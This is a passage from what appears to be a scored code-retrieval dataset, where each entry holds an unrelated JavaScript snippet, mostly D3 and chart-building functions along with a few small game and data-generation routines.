ShapeOperation.SHAPEXOR;\n lineSubPathArray[0].closed = false;\n lineSubPathArray[0].entireSubPath = lineArray;\n\n docRef.pathItems.add(\"crosshairs\", lineSubPathArray);\n //myPathItem.strokePath(ToolType.BRUSH);\n\n createdCrosshairs = true;\n }\n}", "title": "" }, { "docid": "158941df86fea9afe721380753d626cb", "score": "0.47673157", "text": "function GenerateChannelSeparators() {\n\tfor (var tier = 1; tier <= 3; tier++) {\n\t\tvar achannel=GetNextChannel(tier);\n\t\tvar next_channel=GetNextChannel(tier,achannel);\n\t\t\n\t\tdo {\n\t\t\tif (next_channel-achannel > 4) {\n\t\t\t\tvar aTier=document.getElementById(\"T\"+tier+\"ChartG\");\n\t\t\t\tvar channel_width=GetChannelWidth(tier, achannel);\n\t\t\t\tvar channel_center=GetChannelCenter(achannel);\n\t\t\t\tvar tickL=(channel_center+(channel_width*0.5));\n\t\t\t\t\n\t\t\t\tvar points=\"\"+(tickL-10)+\",-10 \"+(tickL+10)+\",-10 \"+(tickL+10)+\",\"+GetHeightFromSignal(-115)+\n\t\t\t\t\t\t\t\" \"+tickL+\",\"+GetHeightFromSignal(-120)+\n\t\t\t\t\t\t\t\" \"+(tickL-10)+\",\"+GetHeightFromSignal(-115)+\" \"+(tickL-10)+\",-10\"\n\t\t\t\tvar gapPoly=GeneratePolygonElement(points, \"#222222\", 0.9);\n\t\t\t\taTier.appendChild(gapPoly);\n\t\t\t}\n\t\t\tachannel=next_channel;\n\t\t\tnext_channel=GetNextChannel(tier,achannel);\n\t\t} while (next_channel != null)\n\t}\n}", "title": "" }, { "docid": "8bd685d165cb177c087bb0981f6dd3e1", "score": "0.47652262", "text": "function chart(selection) {\n selection.each(function(alldata) {\n var conditions = []\n alldata.forEach(function(key) {\n conditions.push(key[\"condition\"]);\n });\n conditions = conditions.filter((x, i, a) => a.indexOf(x) == i);\n\n var site_metrics = []\n var mut_metrics = []\n var protein_chains = []\n Object.keys(alldata[0]).forEach(function(col){\n if (col.startsWith(\"site_\")){\n site_metrics.push(col)\n }\n if (col.startsWith(\"mut_\")){\n mut_metrics.push(col)\n }\n });\n\n if(Object.keys(alldata[0]).includes(\"color_for_mutation\")){\n var colorScheme = 'custom';\n }else{\n var colorScheme = 'functional';\n }\n\n var long_data = []\n var mut_long_data = [];\n alldata.forEach( function(row) {\n Object.keys(row).forEach( function(colname){\n if(colname.startsWith('site_')) {\n var metric_value;\n if(missingData.includes(row[colname])){\n metric_value = undefined\n }else{\n metric_value = row[colname]\n }\n long_data.push({\n \"data_url\": row[\"data_url\"],\n \"site\": +row[\"site\"],\n \"label_site\": row[\"label_site\"],\n \"wildtype\": row[\"wildtype\"],\n \"protein_chain\": row[\"protein_chain\"].split(\" \"),\n \"protein_site\": row[\"protein_site\"],\n \"condition\": row[\"condition\"],\n \"metric\": metric_value,\n \"metric_name\": colname});\n row[\"protein_chain\"].split(\" \").forEach(function(d){\n protein_chains.push(d)\n })\n }\n else if (colname.startsWith('mut_')) {\n mut_long_data.push({\n \"site\": +row[\"site\"],\n \"label_site\": row[\"label_site\"],\n \"mutation\": row[\"mutation\"],\n \"condition\": row[\"condition\"],\n \"metric\": +row[colname],\n \"metric_name\": colname,\n \"color_for_mutation\": row[\"color_for_mutation\"],\n \"color_scheme\": colorScheme\n });\n }\n })\n });\n\n chart.protein_chains = [...new Set(protein_chains)].filter((item) => item != \"\");\n // Group data by condition and site and only takes the first of the sites,\n // to get site-level data.\n data = d3.rollup(long_data, v => v[0], d => d.condition, d => d.metric_name, d => d.site)\n conditions.forEach(function(condition){\n site_metrics.forEach(function(site_metric){\n let sites = Array.from(data.get(condition).get(site_metric).keys()),\n minSite = Math.min.apply(null, sites),\n maxSite = Math.max.apply(null, sites),\n fullRange = _.range(minSite, maxSite+1);\n let missing = _.without.apply(_, [fullRange].concat(sites));\n\n // Collapse missing sites into just those at the beginning or end of a\n // gap interval. Only those sites at the edge are necessary to benefit\n // from d3 area's defined functionality.\n if (missing.length > 0) {\n missing = missing.reduce(collector, Array());\n }\n\n missing.forEach(function(m){\n data.get(condition).get(site_metric).set(m, {\"condition\": condition, \"metric_name\": site_metric, \"metric\": undefined, \"label_site\": undefined, \"site\":m})\n })\n })\n })\n chart.data = new Map([...data.entries()].sort());;\n\n // Group data by condition and mutation metric, keeping all records to get\n // site- and mutation-level data.\n chart.mutData = d3.group(mut_long_data, d => d.condition, d => d.metric_name);\n\n // Handler for the brush button\n brushdropdownchange = function(){\n focus.select(\".brush,.brush_select,.brush_deselect\").call(brushFocus.move, null);\n }\n\n // Handler for clear button change\n clearbuttonchange = function() {\n updateSites([], d3.selectAll(\".selected\").nodes().map(d => d3.select(d)));\n\n // clear the physical brush (classification as 'brushed' remains)\n focus.select(\".brush,.brush_select,.brush_deselect\").call(brushFocus.move, null);\n };\n\n // brush select/deselect choices\n // add listener pressing a key on the keyboard\n // if metaKey down, change brush to eraser\n window.addEventListener(\"keydown\", event => {\n if (event.shiftKey) {\n document.getElementById('deselect').checked = true\n focus.classed(\"brush_select\", false).classed(\"brush_deselect\", true)\n }\n });\n window.addEventListener(\"keyup\", event => {\n if (lastBrushTypeClick === 'select'){\n document.getElementById('select').checked = true\n focus.classed(\"brush_select\", true).classed(\"brush_deselect\", false)\n }\n });\n\n d3.selectAll(\"input[name='mode']\").on(\"change\", function(){\n lastBrushTypeClick = this.value;\n if ( this.value === 'select' ) {\n focus.classed(\"brush_select\", true).classed(\"brush_deselect\", false)\n } else if ( this.value === 'deselect' ) {\n focus.classed(\"brush_select\", false).classed(\"brush_deselect\", true)\n }\n });\n\n // Handler for dropdown value change\n dropdownChange = function() {\n current_condition = d3.select(\"#condition\").property('value');\n current_site = d3.select(\"#site_metric\").property('value');\n current_mut_metric = d3.select(\"#mutation_metric\").property('value');\n\n chart.condition_data = chart.data.get(current_condition).get(current_site);\n chart.condition_mut_data = chart.mutData.get(current_condition).get(current_mut_metric);\n updateChart(chart.condition_data);\n updateLogoPlot();\n\n // Update URL to reflect dropdown values.\n updateUrlFromFieldIds(dropdownsToTrack);\n };\n\n function updateChart(dataMap) {\n const data = Array.from(dataMap.values()).sort((a, b) => a.site - b.site);\n\n // Track the URL of the current dataset and use this information to\n // clear or reset elements of the chart that shouldn't be maintained\n // across datasets.\n if (data[0][\"data_url\"] !== dataUrl) {\n dataUrl = data[0][\"data_url\"];\n\n // Clear the brush in the context view.\n context.select(\".brush\").call(brushContext.clear);\n }\n\n // extract y-axis label from metric_name\n svg.select(\"#context_y_label\")\n .text(data[0][\"metric_name\"].substring(5, ));\n\n // get the new color map\n color_key = generateColorMap(data);\n\n // Update the x and y domains to match the extent of the incoming data.\n xScaleFocus.domain(d3.extent(data, d => +d.site));\n yScaleFocus.domain(d3.extent(data, d => +d.metric));\n xScaleContext.domain(xScaleFocus.domain());\n yScaleContext.domain(yScaleFocus.domain());\n\n // Plot a circle for each site in the given data.\n const radius = (d) => {\n if(d.metric == undefined) {\n return 0;\n }\n else {\n return 5;\n }\n };\n const transition = svg.transition().duration(500);\n const circlePoint = focus.selectAll(\"circle\")\n .data(data, d => d.data_url + \"_\" + d.site)\n .join(\n enter => enter.append(\"circle\")\n .attr(\"r\", radius)\n .attr(\"cx\", XFocus)\n .attr(\"cy\", YFocus)\n .attr(\"id\", d => \"site_\" + d.site)\n .attr(\"class\", \"non_brushed\")\n .style(\"clip-path\", \"url(#clip)\")\n .style(\"fill\", greyColor)\n .style(\"opacity\", unselected_opacity)\n .style(\"stroke\", \"grey\")\n .style(\"stroke-width\", \"0px\")\n .on(\"mouseover\", showTooltip)\n .on(\"mouseout\", hideTooltip)\n .on(\"click\", clickOnPoint),\n update => update.attr(\"r\", radius)\n .attr(\"id\", d => \"site_\" + d.site)\n .call(update => update.transition(transition)\n .attr(\"cy\", YFocus)),\n exit => exit.remove()\n );\n\n // Make sure all previously selected sites have been selected.\n updateSites(d3.selectAll(\".selected\").nodes().map(d => d3.select(d)));\n\n // fix the axes (including labels)\n focus.select(\"#axis_y_focus\")\n .transition()\n .call(yAxis);\n\n focus.select(\"#axis_x_focus\")\n .call(xAxisFocus.tickFormat(function(site) {\n if (dataMap.get(site) === undefined){\n return \"\"\n }\n return dataMap.get(site).label_site\n }));\n\n context.select(\"#axis_x_context\")\n .call(xAxisContext.tickFormat(function(site) {\n if (dataMap.get(site) === undefined){\n return \"\"\n }\n return dataMap.get(site).label_site\n }));\n\n // Create the context plot excluding sites with missing data.\n context.selectAll(\"path.area\")\n .data([data])\n .join(\"path\")\n .attr(\"class\", \"area\")\n .attr(\"d\", areaContext);\n\n // clear the physical brush (classification as 'brushed' remains)\n focus.select(\".brush,.brush_select,.brush_deselect\").call(brushFocus.move, null);\n }; // end of update chart\n }); // end of for each for the selection\n } // end of selection", "title": "" }, { "docid": "05f308cdb86bb7ce65a390bbb9dbc9f3", "score": "0.4763248", "text": "function generateBiopsy(data) {\n var sections = [];\n angular.forEach(data, function (value, key) {\n this.push({\n id: 'b_' + key,\n title: value.tumorType + value.tissueType,\n start: new Date(value.dateOfBiopsy),\n group: 'Biopsy'\n })\n }, sections);\n return sections\n }", "title": "" }, { "docid": "5eef6dc433622ce208fff5553436d2c5", "score": "0.47619367", "text": "function createElements(){\n\t\t//clear out the svg and the array\n\t\tclearOut();\n\t\tvar count=0;\n\t\tfor(count;count<$(\"#amount\").val();count++){\n\t\t\tdata.push({\"value\":1,\"label\":\"longer\"});\n\t\t}\n\t\td3Create();\n\t}", "title": "" }, { "docid": "52dc07fb7edf2fd0fb6e28917e0e548b", "score": "0.47554123", "text": "function prepareSBCData() {\n var allTotals = [];\n\n // For each day, pluck the totals for each appliance type (column), put in array\n for (var day in aoUsageData) { // assert: length of all UsageData variables should be the same\n if ( aoUsageData.hasOwnProperty(day) ) {\n allTotals.push( {\n date: day,\n alwaysOn : aoUsageData[day],\n tempCtrl: tUsageData[day],\n fridge: fridgUsageData[day],\n dryer: dUsageData[day],\n cooking: cUsageData[day],\n other: otherUsageData[day]\n });\n }\n }\n\n // Transpose the data into layers by columns\n cols = d3.layout.stack()([\"alwaysOn\", \"cooking\", \"dryer\", \"fridge\", \"other\", \"tempCtrl\"].map( function( col ) {\n return allTotals.map( function(d) {\n return { x: parse( d.date ), y: +d[col] };\n });\n }));\n }", "title": "" }, { "docid": "71a7ace4b4e4f469fe199a2ebef8adb7", "score": "0.47536716", "text": "createBubbleChartData() {\n let _graphData = null\n let _entities = this.entities\n if (_entities && _entities.length % 3 === 0) {\n _graphData = this.getDefaultGraphData()\n _graphData.config.mode = \"simple\"\n for (let i = 0; i < _entities.length; i += 3) {\n const _attr = _entities[i + 2]\n let _options = {\n label: _attr.name || \"\",\n scale: _attr.scale || 1.0,\n unit: _attr.unit || \"\",\n backgroundColor: _attr.backgroundColor || COLOR_BUBBLECHAT,\n borderColor: _attr.borderColor || COLOR_BUBBLECHAT\n }\n if (this.entityOptions) {\n _options = { ...this.entityOptions, ..._options }\n _graphData.config.options = this.entityOptions\n }\n if (this.entityOptions && this.entityOptions.gradient !== undefined) {\n _graphData.config.gradient = true\n }\n if (_attr && _attr.pointStyle) {\n _options.pointStyle = _attr.pointStyle\n _options.pointRadius = 6\n }\n if (_attr && _attr.pointRadius) {\n _options.pointRadius = _attr.pointRadius\n }\n _options.data = [\n {\n x: _entities[i].state || 0.0,\n y: _entities[i + 1].state || 0.0,\n r: _entities[i + 2].state || 0.0\n }\n ]\n _graphData.data.datasets.push(_options)\n }\n _graphData.config.options.bubble = true\n } else {\n console.error(\"BubbleChart setting not valid\", this.entities)\n }\n return _graphData\n }", "title": "" }, { "docid": "f9d8a68b689cdefcf5ebc26f476d99d0", "score": "0.47530478", "text": "function computeBasis(x3) {\n \n circ11 = new Circle(0.5,Math.abs(x3));//opacity of circle proportional to magnitude of current\n \n circ12 = new Circle(0.25,Math.abs(x3));\n \n cross11 = new Line2d([[3-0.35355,3-0.35355],[3+0.35355,3+0.35355]]);\n cross12 = new Line2d([[3-0.35355,3+0.35355],[3+0.35355,3-0.35355]]);\n \n \n var data=[ \n circ11.gObject(black,[3,3]),\n ];\n \n let n = Math.round(8*Math.sqrt(Math.abs(x3)));\n \n if (x3 > 0) {\n data.push(\n circ12.gObject(black, [3, 3])\n );\n \n for (let i = 0; i < n+1; i++) {\n ypos = -2 + Math.sqrt(i/n)*4;\n line = new Line2d([[-10, ypos], [10, ypos]]).gObject(black, 1, 3);\n data.push(line);\n }\n } else if (x3 < 0){\n data.push( \n cross11.gObject(black, Math.abs(x3), 2+3*Math.abs(x3)),\n cross12.gObject(black, Math.abs(x3), 2+3*Math.abs(x3))\n );\n \n for (let i = 0; i < n+1; i++) {\n ypos = 2 - Math.sqrt(i/n)*4;\n line = new Line2d([[-10, ypos], [10, ypos]]).gObject(black, 1, 3);\n data.push(line);\n }\n \n \n } else if (x3 == 0) {\n data = [\n new Line2d([[-10, -2], [10, -2]]).gObject(black, 1, 3),\n new Line2d([[-10, 2], [10, 2]]).gObject(black, 1, 3)\n ];\n }\n \n return data;\n }", "title": "" }, { "docid": "48b3ffe471114d749fb9b8252bfd1b3a", "score": "0.4752839", "text": "function DataCrossFilters(dataPoints) {\r\n this.pointsFilter = crossfilter(dataPoints);\r\n\r\n this.dateDim = this.pointsFilter.dimension(function(d) { return d.transactionDate; });\r\n this.dateMin = this.dateDim.bottom(1)[0].transactionDate;\r\n this.dateMax = this.dateDim.top(1)[0].transactionDate;\r\n this.dateSales = this.dateDim.group();\r\n\r\n this.productDim = this.pointsFilter.dimension(function(d) { return d.product; });\r\n this.productSales = this.productDim.group();\r\n this.paymentDim = this.pointsFilter.dimension(function(d) { return d.paymentType; });\r\n this.paymentSales = this.paymentDim.group();\r\n this.countryDim = this.pointsFilter.dimension(function(d) { return d.country; });\r\n this.countrySales = this.countryDim.group();\r\n this.stateDim = this.pointsFilter.dimension(function(d) { return d.state; });\r\n this.stateSales = this.stateDim.group();\r\n\r\n this.allPoints = this.pointsFilter.groupAll();\r\n }", "title": "" }, { "docid": "a3f9358f3065e883ae7c280824502bbc", "score": "0.47505108", "text": "function buildPCHouse(point) {\r\n //Floor\r\n buildCube(point, 35, 6, [10, 1, 8]);//35-6 is pink-wool\r\n\r\n //Main\r\n buildTube([point[0], point[1] + 1, point[2]], 155, 0, [10, 3, 8]);//115 is quartz\r\n buildCube([point[0], point[1] + 1, point[2]], 0, 0, [1, 3, 1]);\r\n buildCube([point[0] + 9, point[1] + 1, point[2]], 0, 0, [1, 3, 1]);\r\n buildCube([point[0], point[1] + 1, point[2] + 7], 0, 0, [1, 3, 1]);\r\n buildCube([point[0] + 9, point[1] + 1, point[2] + 7], 0, 0, [1, 3, 1]);//0 is the air.remove four edges\r\n buildCube([point[0] + 3, point[1] + 1, point[2]], 0, 0,[1, 2, 1]);\r\n putBlock([point[0] + 3, point[1] + 1, point[2]], 71, 0);//71 is iron-door.\r\n buildCube([point[0] + 5, point[1] + 2, point[2]], 20, 0, [3, 2, 1]);//front window\r\n buildCube([point[0], point[1] + 2, point[2] + 3], 20, 0, [1, 2, 1]);//left window\r\n buildCube([point[0] + 9, point[1] + 2, point[2] + 3], 20, 0, [1, 2, 1]);//ringt window. 20 is glasss\r\n\r\n //Ceil\r\n buildCube([point[0], point[1] + 4, point[2]], 35, 14, [10, 1, 8]);\r\n buildCube([point[0] + 2, point[1] + 5, point[2]], 35, 14, [6, 1, 8]);\r\n buildCube([point[0] + 4, point[1] + 6, point[2]], 35, 14, [2, 1, 8]);//35-14 is red-wool\r\n\r\n //TODO: inner decoratation\r\n\r\n //UI\r\n clientMessage(\"§eFINISHED BUILDING <Pc House>\");\r\n}", "title": "" }, { "docid": "039191b47306c052378ecdffeb6606d1", "score": "0.4736036", "text": "function createHotspots() {\n for (var i=1; i<=$scope.selectedTimeArray.length; i++) {\n $(\"#processEff\"+i).percircle({\n progressBarColor: \"#CC3366\",\n percent: $scope.selectedTimeArray[i-1].efficiencyPercent\n });\n }\n }", "title": "" }, { "docid": "6d8d42a77a4c9418e2de423664cefa83", "score": "0.47358748", "text": "getCircleDataPoints(data, x_attr, y_attr, c_attr){\n let data_points_x = this.data[x_attr].map( (d,i) =>{\n return i;\n });\n \n let data_points_y = this.data[y_attr].map( (d,i) =>{\n return i;\n });\n let data_points = (data_points_x.length < data_points_y.length)?data_points_y:data_points_x;\n \n let data_points_c = this.data[c_attr].map( (d,i) =>{\n return i;\n });\n \n data_points = (data_points.length < data_points_c.length)?data_points_c:data_points;\n return data_points;\n }", "title": "" }, { "docid": "4f856c7f007f987267397be08da72364", "score": "0.47294834", "text": "function ToonOplossing()\n{\n var cirkel_id;\n\n for ( var x=0; x < 4; x++)\n {\n cirkel_id = \"sol\" + (x+1) ;\n SetBGCol(cirkel_id, oplossing[x]);\n }\n}", "title": "" }, { "docid": "4e307b93285aa789ec6f5b148d3f87ad", "score": "0.4728464", "text": "function createExplanatoryCues() {\n createCue(d3.select(\"#svgMap\"), 1,\n \"Choose a venue of big events from the list or the map.<br/><br/>\" +\n \"The small bar plot then shows how taxi dropoffs distribute on a typical day around the selected venue.\",\n svgMapWidth / 2, svgMapHeight / 2);\n createCue(d3.select(\"#svgSlider\"), 2,\n \"Slide to define a magnitude of difference from historical average of dropoffs.<br/><br/>\" +\n \"Difference is measured in standard deviations. Historical average pertains to time-of-day (e.g. 20:00) and day-of-week (e.g. Monday).\",\n sliderMargin / 2, sliderHeight / 2);\n createCue(d3.select(\"#svgHourlyTimeSeries\"), 3,\n \"The highlighted points show extraordinary taxi dropoffs, per the slider value.<br/><br/>\" +\n \"Click anywhere on the figure or on individual points for a zoomed display of the same day \" +\n \"-- with contemporaneous big events.\", 720, 45);\n createCue(d3.select(\"#svgZoomed\"), 4, \"See how extraordinary counts of taxi dropoffs co-occur with \" +\n \"big events near the selected venue.<br/><br/>Hover over event lines for more information.<br/><br/>\" +\n \"<b>Findings:</b><ol>\" +\n \"<li>All venues are active during noon and afternoon. Some venues (e.g. Lincoln Theatre) are most active late at night, others (e.g. Radio City Music Hall) at morning.</li>\" +\n \"<li>Hourly dropoffs vary more wildly for some venues (e.g. MoMA Museum, Terminal 5) than others (e.g. The Town Hall, Carnegie Hall).</li>\" +\n \"<li>There are many cases in which dropoffs significantly deviate (at least 2 std. dev.) from historical average one hour before a nearby big event. \" +\n \"However, this happens more often for some venues (e.g. MoMA Museum) than for others (e.g. Playstation Theatre).</li>\" +\n \"</ol>\", 150, 70);\n }", "title": "" }, { "docid": "e47eac42f5c2b007006f97596667c1de", "score": "0.4728173", "text": "function cutLabelAndDataInfo() {\n vars.chartXlabels.splice(0, 1);\n vars.chartYlabels.splice(0, 1);\n}", "title": "" }, { "docid": "767e19abe082fc14cd2067fbd37490b3", "score": "0.47273597", "text": "function makeCrossover (parentsGenotipes) {\n var newBoard = []\n // console.log(parentsGenotipes)\n var firstParentPercentageIndex = Math.round(parentsGenotipes[0].length * (0.7))\n var secondParentPercentageIndex = Math.round(parentsGenotipes[1].length * (0.3))\n var firstPart = parentsGenotipes[0].slice(0, firstParentPercentageIndex)\n var secondPart = parentsGenotipes[1].slice(firstParentPercentageIndex)\n var crossOver = firstPart.concat(secondPart)\n return crossOver\n}", "title": "" }, { "docid": "ef1d964f523e54a3b07ee7069ff38dbc", "score": "0.4726733", "text": "function createInset() {\n var oldItems3 = d3.selectAll(\".cpcCircles\").remove();\n var oldItems4 = d3.selectAll(\".abortionCircles\").remove();\n var cpcRadiusArray = [2, 11.85, 20];\n var cpcLabelArray = [1, 4, 8];\n var abortionRadiusArray = [2, 16.23, 23];\n var abortionLabelArray = [1, 6, 11];\n \n //creates menuBoxes\n cpcMenuBox = d3.select(\".cpc-inset\")\n .append(\"svg\")\n .attr(\"width\", otherMenuWidth)\n .attr(\"height\", otherMenuHeight)\n .attr(\"class\", \"cpcmenuBox\");\n \n //draws and shades circles for menu\n var cpcCircles = cpcMenuBox.selectAll(\".cpcCircles\")\n .data(cpcRadiusArray)\n .enter()\n .append(\"circle\")\n .attr(\"cy\", 30)\n .attr(\"cx\", function(d, i){\n return (1*d)+(i*50)+10;\n })\n .attr(\"r\", function(d, i){\n return d;\n })\n .attr(\"class\", \"cpcCircles\")\n .style({'fill': '#FA6E39','fill-opacity': '0.7'}); \n \n //labels cpc circles\n var cpcLabels = cpcMenuBox.selectAll(\".cpcOverlayLabels\")\n .data(cpcLabelArray)\n .enter()\n .append(\"text\")\n .attr(\"class\", \"cpcOverlayLabels\")\n .attr(\"y\", 35)\n .text(function(d, i){\n for (var k = 0; k < cpcLabelArray.length; k++){\n return cpcLabelArray[i]\n }\n })\n .style({'font-size': '14px', 'font-family': 'Open Sans, sans-serif'});\n \n cpcLabels.data(cpcRadiusArray)\n .attr(\"x\", function(d, i){\n return (2*d)+(i*50)+15;\n });\n //creates abortion info inset\n abortionMenuBox = d3.select(\".abortion-inset\")\n .append(\"svg\")\n .attr(\"width\", otherMenuWidth)\n .attr(\"height\", otherMenuHeight)\n .attr(\"class\", \"abortionMenuBox\");\n \n //draws and shades circles for menu\n var abortionCircles = abortionMenuBox.selectAll(\".abortionCircles\")\n .data(abortionRadiusArray)\n .enter()\n .append(\"circle\")\n .attr(\"cy\", 30)\n .attr(\"cx\", function(d, i){\n return (1*d)+(i*50)+10;\n })\n .attr(\"r\", function(d, i){\n return d;\n })\n .attr(\"class\", \"abortionCircles\")\n .style({'fill': '#37C4AB','fill-opacity': '0.7'}); \n \n //labels abortion circles\n var abortionLabels = abortionMenuBox.selectAll(\".abortionOverlayLabels\")\n .data(abortionLabelArray)\n .enter()\n .append(\"text\")\n .attr(\"class\", \"abortionOverlayLabels\")\n .attr(\"y\", 35)\n .text(function(d, i){\n for (var k = 0; k < abortionLabelArray.length; k++){\n return abortionLabelArray[i]\n }\n })\n .style({'font-size': '14px', 'font-family': 'Open Sans, sans-serif'});\n \n abortionLabels.data(abortionRadiusArray)\n .attr(\"x\", function(d, i){\n return (2*d)+(i*50)+15;\n }); \n}", "title": "" }, { "docid": "4017b55f81575a2a0c4fa70847481d31", "score": "0.4724473", "text": "function createNubs (point) {\r\n \r\n var knots1 = knots(point);\r\n var c1 = NUBS(S0)(2)(knots1)(point);\r\n //var c1Map = MAP(c1)(domain1)\r\n //DRAW(c1Map)\r\n return c1;\r\n}", "title": "" }, { "docid": "1380d9fa038c4be1956992ad5992b887", "score": "0.4718838", "text": "function drawFixationCross(patch) {\n // define the colors\n var colCross=patch.colSurround;\n var crossSize=10;\n var canvas = document.getElementById('canvas');\n if (canvas.getContext) {\n var ctx = canvas.getContext('2d');\n\n \t// draw patch\n \tdrawPatch(patch,ctx,patch.colSurround)\n\n // draw cross\n ctx.strokeStyle = colCross;\n ctx.lineWidth=1;\n ctx.moveTo(patch.xCenter - crossSize / 2, patch.yCenter);\n ctx.lineTo(patch.xCenter + crossSize / 2, patch.yCenter);\n ctx.stroke();\n ctx.moveTo(patch.xCenter , patch.yCenter - crossSize / 2);\n ctx.lineTo(patch.xCenter , patch.yCenter+ crossSize / 2);\n ctx.stroke();\n\n }\n}", "title": "" }, { "docid": "1321e5a7f13ba84cca14581a9ed46b92", "score": "0.4715925", "text": "function create_charts(table) {\n setup_graph_area(table);\n enable_drag_drop_chart(table);\n}", "title": "" }, { "docid": "a4d19f6ff15dc2fb936717c3699bc7ea", "score": "0.47149113", "text": "generateGreenBalloons(count) {\n // used to record balloon count at each year\n var greenYearCounts = new Map();\n for(var i = 1900; i <= 2050; i++) {\n greenYearCounts.set(i, 0);\n }\n\n // used to record balloon count on each continent\n var greenContinentCounts = new Map();\n for(var i = 0; i < continents.length; i++) {\n if(continents[i].name != \"Antarctica\") {\n greenContinentCounts.set(continents[i], 0);\n }\n }\n\n // loop through existing disasters\n for(var i = 0; i < conData.length; i++) {\n // get existing green balloon\n green = conData[i];\n\n // update year counts\n if(greenYearCounts.has(green.date)) {\n greenYearCounts.set(green.date, greenYearCounts.get(green.date) + 1);\n }\n\n // update continent counts\n var continent = worldmap.getContinent(green.xscale * gui.worldmap.width, green.yscale * gui.worldmap.height);\n if(continent != undefined && greenContinentCounts.has(continent)) {\n greenContinentCounts.set(continent, greenContinentCounts.get(continent) + 1);\n }\n }\n\n // sort by count\n sortFunction = function(a, b) {\n return a[1] - b[1];\n };\n\n // turn year map into sorted list\n greenYearList = []\n for(var [k, v] of greenYearCounts) {\n greenYearList.push( [k, v] );\n }\n greenYearList.sort(sortFunction);\n\n // turn continent map into sorted list\n greenContinentList = []\n for(var [k, v] of greenContinentCounts) {\n greenContinentList.push( [k, v] );\n }\n greenContinentList.sort(sortFunction);\n\n // get list of possible titles\n var titles = Object.keys(this.greenBalloonSpellbooks);\n\n // generate count new balloons\n generated = []\n while(generated.length < count) {\n // pick year randomly from first 50% of list and update year sorted list\n var yearIndex = Math.floor(Math.random() * greenYearList.length * 0.5);\n var year = greenYearList[yearIndex][0];\n greenYearList[yearIndex][1]++;\n greenYearList.sort(sortFunction);\n\n // pick continent randomly from first 5 and update continent sorted list\n var continentIndex = Math.floor(Math.random() * 5);\n var continent = greenContinentList[continentIndex][0];\n greenContinentList[continentIndex][1]++;\n greenContinentList.sort(sortFunction);\n\n // get random position from continent\n var i = Math.floor(Math.random() * continent.positions.size);\n var position;\n for(let p of continent.positions) {\n if(i > 0) i--;\n else {\n position = p;\n break;\n }\n }\n\n // extract relative coordinates from position string\n position = position.split(\",\");\n var x = parseInt(position[0], 10) / gui.worldmap.width;\n var y = parseInt(position[1], 10) / gui.worldmap.height;\n\n // pick title from list and generate description using tracery\n var title = titles[Math.floor(Math.random() * titles.length)];\n var description = this.greenBalloonSpellbooks[title].createFlattened();\n description = this.fillInContinent(description, continent);\n\n // create new balloon\n generated.push( { \"date\": year, \"location\": continent.fullname, \"xscale\": x, \"yscale\": y, \"title\": title, \"description\": description} );\n }\n\n // sort data by year\n dataSortFunction = function(a, b) {\n return a.date - b.date;\n };\n\n // add new balloons and sort\n Array.prototype.push.apply(conData, generated);\n conData.sort(dataSortFunction);\n }", "title": "" }, { "docid": "f3c0f96d020624a0a1226cf44c02d90c", "score": "0.4711767", "text": "function GraphsBuilderWith100TargetWithoutDecimal(dashboardData, containerid, charttype, chartName) {\n var month = $('#ddlMonth').val();\n var dataArray = new Array();\n var categories = new Array();\n var monthsArray = new Array();\n for (var i = 0; i < 3; i++) {\n monthsArray = new Array();\n switch (parseInt(month)) {\n case 1:\n monthsArray.push(parseInt(dashboardData[i].M1 * 100));\n categories = ['Jan'];\n break;\n case 2:\n monthsArray.push(parseInt(dashboardData[i].M1 * 100));\n monthsArray.push(parseInt(dashboardData[i].M2 * 100));\n categories = ['Jan', 'Feb'];\n break;\n case 3:\n monthsArray.push(parseInt(dashboardData[i].M1 * 100));\n monthsArray.push(parseInt(dashboardData[i].M2 * 100));\n monthsArray.push(parseInt(dashboardData[i].M3 * 100));\n categories = ['Jan', 'Feb', 'Mar'];\n break;\n case 4:\n monthsArray.push(parseInt(dashboardData[i].M1 * 100));\n monthsArray.push(parseInt(dashboardData[i].M2 * 100));\n monthsArray.push(parseInt(dashboardData[i].M3 * 100));\n monthsArray.push(parseInt(dashboardData[i].M4 * 100));\n categories = ['Jan', 'Feb', 'Mar', 'Apr'];\n break;\n case 5:\n monthsArray.push(parseInt(dashboardData[i].M1 * 100));\n monthsArray.push(parseInt(dashboardData[i].M2 * 100));\n monthsArray.push(parseInt(dashboardData[i].M3 * 100));\n monthsArray.push(parseInt(dashboardData[i].M4 * 100));\n monthsArray.push(parseInt(dashboardData[i].M5 * 100));\n categories = ['Jan', 'Feb', 'Mar', 'Apr', 'May'];\n break;\n case 6:\n monthsArray.push(parseInt(dashboardData[i].M1 * 100));\n monthsArray.push(parseInt(dashboardData[i].M2 * 100));\n monthsArray.push(parseInt(dashboardData[i].M3 * 100));\n monthsArray.push(parseInt(dashboardData[i].M4 * 100));\n monthsArray.push(parseInt(dashboardData[i].M5 * 100));\n monthsArray.push(parseInt(dashboardData[i].M6 * 100));\n categories = ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun'];\n break;\n case 7:\n monthsArray.push(parseInt(dashboardData[i].M1 * 100));\n monthsArray.push(parseInt(dashboardData[i].M2 * 100));\n monthsArray.push(parseInt(dashboardData[i].M3 * 100));\n monthsArray.push(parseInt(dashboardData[i].M4 * 100));\n monthsArray.push(parseInt(dashboardData[i].M5 * 100));\n monthsArray.push(parseInt(dashboardData[i].M6 * 100));\n monthsArray.push(parseInt(dashboardData[i].M7 * 100));\n categories = ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul'];\n break;\n case 8:\n monthsArray.push(parseInt(dashboardData[i].M1 * 100));\n monthsArray.push(parseInt(dashboardData[i].M2 * 100));\n monthsArray.push(parseInt(dashboardData[i].M3 * 100));\n monthsArray.push(parseInt(dashboardData[i].M4 * 100));\n monthsArray.push(parseInt(dashboardData[i].M5 * 100));\n monthsArray.push(parseInt(dashboardData[i].M6 * 100));\n monthsArray.push(parseInt(dashboardData[i].M7 * 100));\n monthsArray.push(parseInt(dashboardData[i].M8 * 100));\n categories = ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug'];\n break;\n case 9:\n monthsArray.push(parseInt(dashboardData[i].M1 * 100));\n monthsArray.push(parseInt(dashboardData[i].M2 * 100));\n monthsArray.push(parseInt(dashboardData[i].M3 * 100));\n monthsArray.push(parseInt(dashboardData[i].M4 * 100));\n monthsArray.push(parseInt(dashboardData[i].M5 * 100));\n monthsArray.push(parseInt(dashboardData[i].M6 * 100));\n monthsArray.push(parseInt(dashboardData[i].M7 * 100));\n monthsArray.push(parseInt(dashboardData[i].M8 * 100));\n monthsArray.push(parseInt(dashboardData[i].M9 * 